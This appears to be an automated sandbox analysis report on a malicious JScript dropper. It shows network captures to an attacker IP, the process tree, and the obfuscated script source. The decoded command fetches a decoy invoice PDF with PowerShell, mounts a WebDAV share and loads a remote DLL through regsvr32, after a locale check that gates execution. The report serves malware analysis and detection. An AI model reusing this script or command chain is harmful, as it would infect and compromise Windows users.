Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49763	193.143.1.205	80	772	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 16:25:23.895256996 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 16:25:24.686649084 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 15:25:24 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 16:25:24.686681032 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 16:25:24.686691999 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 10, 2025 16:25:24.686707020 CET	1236	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]%3h}
Jan 10, 2025 16:25:24.686721087 CET	1236	IN	Data Raw: 14 ec a4 70 2c f4 e3 60 47 ae 3e 30 74 b0 23 f7 a4 d9 91 db 8d 85 7e 68 c7 42 df 76 db 71 df bc ba 78 fd f2 e2 f5 8b 8b 57 2f 9a ff 6c 7a e8 cb ae 87 a6 65 b9 fa e4 50 bb 29 f7 e6 69 b0 29 f7 b1 1b 0e 25 86 4e 6a ea 9b 13 00 00 c0 34 f8 62 09 00 Data Ascii: p,`G>0t#~hBvqxW/lzeP)i)%Nj4b/FcvQOt`{psBjK_~1DmM[9L/l4`U*;rfAnWB_)^oCeSC;i4b/FcvO
Jan 10, 2025 16:25:24.686733007 CET	672	IN	Data Raw: b5 ad f8 d4 ad f1 fa 27 f9 4d b7 ff 84 00 40 a5 55 6e 65 f8 9c 7c 32 31 34 3c 30 54 c7 d0 eb 26 86 5e a6 18 7a 3a 8c a1 ef 5d 0c 7d de c7 d0 67 5d 09 0d 62 e8 eb 26 86 ee a5 18 ba 3f 8f a1 e7 26 86 de 3e dd df 35 31 f4 c1 c5 50 8e 0d dd ae a9 6f Data Ascii: 'M@Une\|214<0T&^z:]}g]b&?&>51PoN%,.[nmk-_BW?]\r}B`Qa8zs&711bC%21gm\|c#1t*SKvk>~}h]
Jan 10, 2025 16:25:24.686747074 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 10, 2025 16:25:24.686758995 CET	1164	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b&
Jan 10, 2025 16:25:24.687056065 CET	1236	IN	Data Raw: 31 30 30 30 0d 0a ec 68 17 f0 89 4a 7f 5b fe 6a c8 7c af be 7e 70 a9 d0 0b ca 25 d4 64 50 dd 40 53 e5 3c 38 38 d8 ef 7d 88 c8 ff 7a d0 4a 61 34 15 22 9d 44 73 b3 72 a6 8a 9a 7a e2 83 a3 34 20 13 6d 73 95 4a 27 aa b0 f1 85 39 c6 2b c4 29 73 55 85 Data Ascii: 1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]LmBARrq5/X{Cz~bhlh
Jan 10, 2025 16:25:24.687078953 CET	224	IN	Data Raw: 63 0a c0 97 63 f5 62 82 1d b5 e8 81 a1 12 43 af ae d2 81 a1 e5 18 7a ad 63 68 c5 43 76 e4 f6 31 74 7f 1e 43 4f 4f ee e6 31 f4 b2 89 a1 37 37 4f b7 e3 31 94 4d b9 1b 35 f5 cd 09 00 00 60 1a 7c b1 04 00 db e1 6f ad 3e 86 d6 94 d0 d1 93 25 6b ce b8 Data Ascii: ccbCzchCv1tCOO177O1M5`\|o>%kP/f#))HMgo_#{k+M$OOzzsHa^r,*Y,,WUB5{i_}zqZKd/AX%a;6%4=]\?
Jan 10, 2025 16:25:24.691622019 CET	1236	IN	Data Raw: bd b2 b9 b1 e8 f0 9d 56 de 62 6d 5e 4d ff 7e cb bd 9a d2 67 97 e8 a1 85 a9 f3 f2 1d 4f 17 49 4d ba b6 5f 57 3b da 43 eb c7 a2 cb c7 aa fa 33 55 e9 a1 00 76 c4 6a b5 04 3b 2c 1b 43 d5 81 a1 3a 86 36 07 86 de 3c 5e 5f 37 07 77 ce 63 e8 c9 ed 49 13 Data Ascii: Vbm^M~gOIM_W;C3Uvj;,C:6<^_7wcICo$5I}WBm1/yiL}s_,vjaAny!mc=4LdLOJH_[?EfW$:P2"HI34PY\1{}*0c:S!4,fzx6

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49779	193.143.1.205	8888	3492	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 16:25:26.338979959 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 16:25:27.293229103 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 15:25:27 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	10:25:19
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\10259286552329511027.js"
Imagebase:	0x7ff698a00000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	10:25:20
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll
Imagebase:	0x7ff6cc950000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	10:25:20
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff70f010000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	10:25:20
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff760310000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	10:25:24
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff6153b0000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	10:25:25
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff6cc950000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	10:25:25
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff630e30000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	10:25:25
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff61f300000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	10:25:25
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff77afe0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	10:25:26
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1640,i,7274953226227197798,14640335884010176928,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff61f300000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function xpcxfxp() {	xpcxfxp() ➔ undefined
1	omhvk = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var rluckib = this[clbufrbge + sokmwgo + tuitjwde + rkiqkkmc + gwvheq + ehsbxacy + hrzoerio + xufqllfr] ( this[pztvqlwt + pnhkrspie + brsxyg + tuitjwde + psbtmxuvk + clbufrbge + xufqllfr][ndoiwl + tuitjwde + gwvheq + sokmwgo + xufqllfr + gwvheq + suhvcw + dqmgmv + iaumvmgqs + gwvheq + brsxyg + xufqllfr] ( pztvqlwt + pnhkrspie + brsxyg + tuitjwde + psbtmxuvk + clbufrbge + xufqllfr + gxssv + pnhkrspie + cvyrqin + gwvheq + evzsdcqwm + evzsdcqwm ) [bapvm + gwvheq + rziplz + bapvm + gwvheq + sokmwgo + esmrkgynm] ( agpwlidpz + bwjxh + dasxoykye + wrndnvk + cpsbebckr + ndoiwl + fqqbol + bapvm + bapvm + dasxoykye + usfou + rjstxjvwx + cpsbebckr + fqqbol + pnhkrspie + dasxoykye + bapvm + yofxbjix + ndoiwl + crubveaf + hrzoerio + xufqllfr + tuitjwde + crubveaf + evzsdcqwm + wquml + wvtygdah + sokmwgo + hrzoerio + gwvheq + evzsdcqwm + yofxbjix + ehsbxacy + hrzoerio + xufqllfr + gwvheq + tuitjwde + hrzoerio + sokmwgo + xufqllfr + psbtmxuvk + crubveaf + hrzoerio + sokmwgo + evzsdcqwm + yofxbjix + kidfnjpby + crubveaf + brsxyg + sokmwgo + evzsdcqwm + gwvheq ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( qwjxmywl = 0 ; qwjxmywl < omhvk[evzsdcqwm + gwvheq + hrzoerio + rziplz + xufqllfr + cvyrqin] ; ++ qwjxmywl )
4	{
5	if ( rluckib == omhvk[qwjxmywl] )
6	{
7	rluckib = true;
8	break ;
9	}
10	}
11	if ( rluckib !== true )
12	this[pztvqlwt + pnhkrspie + brsxyg + tuitjwde + psbtmxuvk + clbufrbge + xufqllfr][oissc + zxveuhkg + psbtmxuvk + xufqllfr] ( );
13	this[pztvqlwt + pnhkrspie + brsxyg + tuitjwde + psbtmxuvk + clbufrbge + xufqllfr][ndoiwl + tuitjwde + gwvheq + sokmwgo + xufqllfr + gwvheq + suhvcw + dqmgmv + iaumvmgqs + gwvheq + brsxyg + xufqllfr] ( pztvqlwt + pnhkrspie + brsxyg + tuitjwde + psbtmxuvk + clbufrbge + xufqllfr + gxssv + pnhkrspie + cvyrqin + gwvheq + evzsdcqwm + evzsdcqwm ) [tuitjwde + zxveuhkg + hrzoerio] ( brsxyg + wnkown + esmrkgynm + wquml + jyovt + brsxyg + wquml + clbufrbge + crubveaf + zxuoqxve + gwvheq + tuitjwde + rkiqkkmc + cvyrqin + gwvheq + evzsdcqwm + evzsdcqwm + gxssv + gwvheq + cicuwss + gwvheq + wquml + usdcbn + ndoiwl + crubveaf + wnkown + wnkown + sokmwgo + hrzoerio + esmrkgynm + wquml + rpmoej + ehsbxacy + hrzoerio + lueffssn + crubveaf + hnrvhx + gwvheq + usdcbn + pztvqlwt + gwvheq + dqmgmv + bapvm + gwvheq + rxkfo + zxveuhkg + gwvheq + rkiqkkmc + xufqllfr + wquml + usdcbn + suhvcw + zxveuhkg + xufqllfr + hucqkddi + psbtmxuvk + evzsdcqwm + gwvheq + wquml + gvzqp + xufqllfr + gwvheq + wnkown + clbufrbge + gvzqp + yofxbjix + psbtmxuvk + hrzoerio + lueffssn + crubveaf + psbtmxuvk + brsxyg + gwvheq + gxssv + clbufrbge + esmrkgynm + dkdvby + wquml + cvyrqin + xufqllfr + xufqllfr + clbufrbge + urktw + jyovt + jyovt + oiznjprsc + syeouzua + cfpzf + gxssv + oiznjprsc + dectprm + cfpzf + gxssv + oiznjprsc + gxssv + mzkcjin + pllphpafg + qnfip + jyovt + psbtmxuvk + hrzoerio + lueffssn + crubveaf + psbtmxuvk + brsxyg + gwvheq + gxssv + clbufrbge + cvyrqin + clbufrbge + rpmoej + cwqpsy + cwqpsy + rkiqkkmc + xufqllfr + sokmwgo + tuitjwde + xufqllfr + wquml + gvzqp + xufqllfr + gwvheq + wnkown + clbufrbge + gvzqp + yofxbjix + psbtmxuvk + hrzoerio + lueffssn + crubveaf + psbtmxuvk + brsxyg + gwvheq + gxssv + clbufrbge + esmrkgynm + dkdvby + cwqpsy + cwqpsy + brsxyg + wnkown + esmrkgynm + wquml + jyovt + brsxyg + wquml + hrzoerio + gwvheq + xufqllfr + wquml + zxveuhkg + rkiqkkmc + gwvheq + wquml + yofxbjix + yofxbjix + oiznjprsc + syeouzua + cfpzf + gxssv + oiznjprsc + dectprm + cfpzf + gxssv + oiznjprsc + gxssv + mzkcjin + pllphpafg + qnfip + qalfpuh + uhnyhbb + uhnyhbb + uhnyhbb + uhnyhbb + yofxbjix + esmrkgynm + sokmwgo + lueffssn + zxuoqxve + zxuoqxve + zxuoqxve + tuitjwde + crubveaf + crubveaf + xufqllfr + yofxbjix + cwqpsy + cwqpsy + brsxyg + wnkown + esmrkgynm + wquml + jyovt + brsxyg + wquml + tuitjwde + gwvheq + rziplz + rkiqkkmc + lueffssn + tuitjwde + cfpzf + mzkcjin + wquml + jyovt + rkiqkkmc + wquml + yofxbjix + yofxbjix + oiznjprsc + syeouzua + cfpzf + gxssv + oiznjprsc + dectprm + cfpzf + gxssv + oiznjprsc + gxssv + mzkcjin + pllphpafg + qnfip + qalfpuh + uhnyhbb + uhnyhbb + uhnyhbb + uhnyhbb + yofxbjix + esmrkgynm + sokmwgo + lueffssn + zxuoqxve + zxuoqxve + zxuoqxve + tuitjwde + crubveaf + crubveaf + xufqllfr + yofxbjix + mzkcjin + cfpzf + uhnyhbb + syeouzua + syeouzua + mzkcjin + mzkcjin + lowlorfv + oiznjprsc + syeouzua + oiznjprsc + qnfip + pllphpafg + uhnyhbb + lowlorfv + gxssv + esmrkgynm + evzsdcqwm + evzsdcqwm, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\238992261915086.dll",0,false) ➔ 0
14	}
15	suhvcw = "S";
16	suhvcw = "F";
17	suhvcw = "d";
18	suhvcw = "p";
19	suhvcw = "n";
20	suhvcw = "c";
21	suhvcw = "l";
22	suhvcw = "U";
23	suhvcw = "A";
24	suhvcw = "V";
25	suhvcw = "O";
26	gwvheq = "H";
27	gwvheq = "m";
28	gwvheq = "M";
29	gwvheq = "y";
30	gwvheq = "H";
31	gwvheq = "e";
32	pztvqlwt = "g";
33	pztvqlwt = "G";
34	pztvqlwt = "M";
35	pztvqlwt = "y";
36	pztvqlwt = "I";
37	pztvqlwt = "w";
38	pztvqlwt = "A";
39	pztvqlwt = "k";
40	pztvqlwt = "n";
41	pztvqlwt = "e";
42	pztvqlwt = "m";
43	pztvqlwt = "T";
44	pztvqlwt = "q";
45	pztvqlwt = "J";
46	pztvqlwt = "t";
47	pztvqlwt = "K";
48	pztvqlwt = "z";
49	pztvqlwt = "a";
50	pztvqlwt = "C";
51	pztvqlwt = "n";
52	pztvqlwt = "y";
53	pztvqlwt = "o";
54	pztvqlwt = "t";
55	pztvqlwt = "d";
56	pztvqlwt = "G";
57	pztvqlwt = "i";
58	pztvqlwt = "H";
59	pztvqlwt = "N";
60	pztvqlwt = "k";
61	pztvqlwt = "E";
62	pztvqlwt = "H";
63	pztvqlwt = "K";
64	pztvqlwt = "e";
65	pztvqlwt = "K";
66	pztvqlwt = "e";
67	pztvqlwt = "C";
68	pztvqlwt = "W";
69	agpwlidpz = "U";
70	agpwlidpz = "B";
71	agpwlidpz = "j";
72	agpwlidpz = "G";
73	agpwlidpz = "H";
74	yofxbjix = "x";
75	yofxbjix = "O";
76	yofxbjix = "O";
77	yofxbjix = "z";
78	yofxbjix = "b";
79	yofxbjix = "W";
80	yofxbjix = "s";
81	yofxbjix = "O";
82	yofxbjix = "r";
83	yofxbjix = "R";
84	yofxbjix = "f";
85	yofxbjix = "O";
86	yofxbjix = "s";
87	yofxbjix = "A";
88	yofxbjix = "a";
89	yofxbjix = "g";
90	yofxbjix = "H";
91	yofxbjix = "F";
92	yofxbjix = "e";
93	yofxbjix = "C";
94	yofxbjix = "O";
95	yofxbjix = "E";
96	yofxbjix = "o";
97	yofxbjix = "\\";
98	bapvm = "p";
99	bapvm = "g";
100	bapvm = "d";
101	bapvm = "m";
102	bapvm = "g";
103	bapvm = "V";
104	bapvm = "J";
105	bapvm = "J";
106	bapvm = "h";
107	bapvm = "V";
108	bapvm = "Q";
109	bapvm = "I";
110	bapvm = "n";
111	bapvm = "c";
112	bapvm = "v";
113	bapvm = "d";
114	bapvm = "R";
115	rziplz = "e";
116	rziplz = "s";
117	rziplz = "h";
118	rziplz = "L";
119	rziplz = "o";
120	rziplz = "b";
121	rziplz = "Y";
122	rziplz = "i";
123	rziplz = "S";
124	rziplz = "k";
125	rziplz = "S";
126	rziplz = "g";
127	wvtygdah = "l";
128	wvtygdah = "l";
129	wvtygdah = "P";
130	pnhkrspie = "c";
131	pnhkrspie = "Q";
132	pnhkrspie = "C";
133	pnhkrspie = "i";
134	pnhkrspie = "n";
135	pnhkrspie = "S";
136	clbufrbge = "j";
137	clbufrbge = "x";
138	clbufrbge = "f";
139	clbufrbge = "W";
140	clbufrbge = "f";
141	clbufrbge = "V";
142	clbufrbge = "v";
143	clbufrbge = "a";
144	clbufrbge = "A";
145	clbufrbge = "R";
146	clbufrbge = "U";
147	clbufrbge = "i";
148	clbufrbge = "D";
149	clbufrbge = "G";
150	clbufrbge = "p";
151	crubveaf = "S";
152	crubveaf = "s";
153	crubveaf = "v";
154	crubveaf = "m";
155	crubveaf = "C";
156	crubveaf = "Z";
157	crubveaf = "e";
158	crubveaf = "W";
159	crubveaf = "i";
160	crubveaf = "a";
161	crubveaf = "X";
162	crubveaf = "F";
163	crubveaf = "a";
164	crubveaf = "g";
165	crubveaf = "o";
166	fqqbol = "g";
167	fqqbol = "z";
168	fqqbol = "c";
169	fqqbol = "Z";
170	fqqbol = "U";
171	oiznjprsc = "H";
172	oiznjprsc = "F";
173	oiznjprsc = "D";
174	oiznjprsc = "P";
175	oiznjprsc = "b";
176	oiznjprsc = "e";
177	oiznjprsc = "C";
178	oiznjprsc = "Q";
179	oiznjprsc = "o";
180	oiznjprsc = "O";
181	oiznjprsc = "F";
182	oiznjprsc = "t";
183	oiznjprsc = "U";
184	oiznjprsc = "O";
185	oiznjprsc = "Q";
186	oiznjprsc = "W";
187	oiznjprsc = "g";
188	oiznjprsc = "1";
189	wnkown = "Q";
190	wnkown = "g";
191	wnkown = "N";
192	wnkown = "S";
193	wnkown = "x";
194	wnkown = "B";
195	wnkown = "m";
196	rkiqkkmc = "E";
197	rkiqkkmc = "S";
198	rkiqkkmc = "w";
199	rkiqkkmc = "C";
200	rkiqkkmc = "M";
201	rkiqkkmc = "w";
202	rkiqkkmc = "Z";
203	rkiqkkmc = "X";
204	rkiqkkmc = "g";
205	rkiqkkmc = "M";
206	rkiqkkmc = "y";
207	rkiqkkmc = "K";
208	rkiqkkmc = "k";
209	rkiqkkmc = "p";
210	rkiqkkmc = "t";
211	rkiqkkmc = "T";
212	rkiqkkmc = "j";
213	rkiqkkmc = "L";
214	rkiqkkmc = "G";
215	rkiqkkmc = "T";
216	rkiqkkmc = "S";
217	rkiqkkmc = "U";
218	rkiqkkmc = "r";
219	rkiqkkmc = "H";
220	rkiqkkmc = "x";
221	rkiqkkmc = "R";
222	rkiqkkmc = "M";
223	rkiqkkmc = "P";
224	rkiqkkmc = "O";
225	rkiqkkmc = "e";
226	rkiqkkmc = "S";
227	rkiqkkmc = "r";
228	rkiqkkmc = "r";
229	rkiqkkmc = "P";
230	rkiqkkmc = "e";
231	rkiqkkmc = "B";
232	rkiqkkmc = "s";
233	cpsbebckr = "s";
234	cpsbebckr = "A";
235	cpsbebckr = "b";
236	cpsbebckr = "f";
237	cpsbebckr = "R";
238	cpsbebckr = "U";
239	cpsbebckr = "c";
240	cpsbebckr = "Q";
241	cpsbebckr = "O";
242	cpsbebckr = "A";
243	cpsbebckr = "L";
244	cpsbebckr = "q";
245	cpsbebckr = "k";
246	cpsbebckr = "C";
247	cpsbebckr = "y";
248	cpsbebckr = "X";
249	cpsbebckr = "W";
250	cpsbebckr = "f";
251	cpsbebckr = "V";
252	cpsbebckr = "u";
253	cpsbebckr = "G";
254	cpsbebckr = "h";
255	cpsbebckr = "_";
256	qalfpuh = "Z";
257	qalfpuh = "y";
258	qalfpuh = "i";
259	qalfpuh = "C";
260	qalfpuh = "R";
261	qalfpuh = "V";
262	qalfpuh = "d";
263	qalfpuh = "J";
264	qalfpuh = "T";
265	qalfpuh = "s";
266	qalfpuh = "z";
267	qalfpuh = "k";
268	qalfpuh = "f";
269	qalfpuh = "W";
270	qalfpuh = "p";
271	qalfpuh = "Z";
272	qalfpuh = "Z";
273	qalfpuh = "W";
274	qalfpuh = "C";
275	qalfpuh = "n";
276	qalfpuh = "y";
277	qalfpuh = "y";
278	qalfpuh = "S";
279	qalfpuh = "A";
